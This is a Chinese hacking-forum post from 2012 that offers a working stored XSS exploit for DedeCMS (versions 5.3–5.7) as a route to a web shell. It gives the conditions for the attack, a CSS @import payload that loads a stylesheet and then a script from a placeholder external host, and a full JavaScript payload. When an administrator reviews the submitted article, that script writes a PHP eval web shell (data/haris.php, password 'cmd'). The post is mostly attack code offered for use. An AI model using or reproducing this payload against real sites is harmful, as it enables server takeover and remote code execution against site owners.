找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2002|回复: 0
打印 上一主题 下一主题

dedecms xss oday通杀所有版本 可getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 13:56:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell+ Z# `5 b& `7 @6 {! c' ?- a! J; o
为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)
# a( d$ e6 Y. J7 t: Z目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。' W. e/ u. D- P2 `
下面说说利用方法。
/ F" {. D# W) n( I( Y- |条件有2个:  [7 H' V. x. a( [8 y# r
1.开启注册
+ c. g& T* N6 ?7 E3 ~( Y2.开启投稿5 Q4 o& r0 K& @8 E" l  J1 k
注册会员----发表文章
+ ]) [: o/ R# Z5 k/ w0 r3 Y/ g内容填写:, G$ `( v5 `7 K* M7 G
复制代码
( p# y1 w5 C; t/ T5 }5 |3 ]& W7 J<style>@im\port'\http://xxx.com/xss.css';</style>
; j0 ?* w; ]4 H3 Z0 O: b新建XSS.Css& Y# S( j) y1 o6 V+ @( \
复制代码
3 Y# c1 L+ `+ s; F.body{
2 p, ]6 R) k8 u* tbackground-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }- p3 T. E$ w# P) H5 P; g
新建xss.js 内容为
6 p: [/ `8 q# o- y) i复制代码
% e$ F+ E# ^; W6 q7 B! e1.var request = false;
! o+ z6 }% D) |$ y* I' O2.if(window.XMLHttpRequest) {7 g; z# t- _$ A1 s
3.request = new XMLHttpRequest();
) R8 Y' X, B5 Z3 [4.if(request.overrideMimeType) {4 H9 C. a6 U! c4 r$ i. r0 }
5.request.overrideMimeType('text/xml');
, H7 [" d6 F1 n6.}
3 N' u* G4 g7 w7 s! l7.} else if(window.ActiveXObject) {5 J2 N8 n) E$ v" ]! ~
8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
9 I. ~; g& i  _; P/ j; u9.for(var i=0; i<versions.length; i++) {' Y2 O- l9 Y! `/ ~& _2 C# V7 a3 V
10.try {, T5 F; V. {: a+ d+ @  y
11.request = new ActiveXObject(versions);
6 U3 `6 u9 v4 L; j7 k1 i& B% A* c12.} catch(e) {}
; p0 O6 C* m: g# v% {13.}- L* _. u# t+ ~- {, r4 a! k7 v  Z
14.}8 S% x, V% ?! o5 M" C
15.xmlhttp=request;
8 K+ v( Z1 j1 A$ m, i16.function getFolder( url ){
$ y/ @' F5 @1 e2 f/ k8 s17. obj = url.split('/')# C: @7 x: a4 ^' M7 Z* K) i
18. return obj[obj.length-2]
9 A) M! ^! \! F/ V, P: d/ [19.}
$ u5 `4 i- n  N+ ?20.oUrl = top.location.href;/ n2 W3 j2 F8 G8 c3 K6 ^5 L& N/ H
21.u = getFolder(oUrl);) m6 s% P6 s7 [; `& p! Q- z
22.add_admin();; {0 Y/ V, D5 G/ `& C  ^9 H- }2 }
23.function add_admin(){
* i' W& a: j' v' R) s24.var url= "/"+u+"/sys_sql_query.php";8 s* L* W& a9 p# S# n
25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";
2 {& ?/ M" U! v! K! v6 e4 [26.xmlhttp.open("POST", url, true);
/ ?7 s* F6 u1 X0 ]. G0 D4 k27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");+ h2 U8 o  F2 ~0 O$ R1 J% h& g
28.xmlhttp.setRequestHeader("Content-length", params.length);
; V0 f3 I1 u9 f% x, G- E' o29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");6 a4 E. p6 X* Q( a/ q" ]
30.xmlhttp.send(params);2 ?2 |8 r/ P0 r; h, s
31.}
+ g3 `/ m5 v! }当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表